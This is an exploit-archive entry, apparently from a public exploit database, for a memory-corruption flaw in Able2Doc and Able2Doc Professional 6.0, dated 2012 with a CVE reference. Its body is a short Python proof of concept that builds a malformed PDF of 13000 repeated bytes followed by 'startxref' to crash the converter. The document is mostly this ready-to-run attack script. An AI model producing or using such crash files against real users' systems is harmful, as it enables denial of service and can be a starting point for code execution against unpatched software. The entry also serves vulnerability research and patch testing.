Able2Doc and Able2Doc Professional v 6.0 Memory Corruption

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Able2Doc and Able2Doc Professional v 6.0 Memory Corruption
# Published : 2012-06-25
# Author :
# Previous Title : Sielco Sistemi Winlog 2.07.16 Multiple Vulnerabilities
# Next Title : Sorensoft Power Media 6.0 Denial of Service

# Exploit Title: Able2Doc and Able2Doc Professional v 6.0 memory corruption
# Date: June 24 2012
# Exploit Author: Carlos Mario Penagos Hollmann
# Vendor Homepage: www.investintech.com
# Version:6.0
# Tested on: Windows 7
# CVE : cve-2011-4221


payload ="B"*13000
crash="startxref"
pdf=payload+crash

filename = "slimpdPoC.pdf"
file = open(filename,"w")
file.writelines(pdf)
file.close()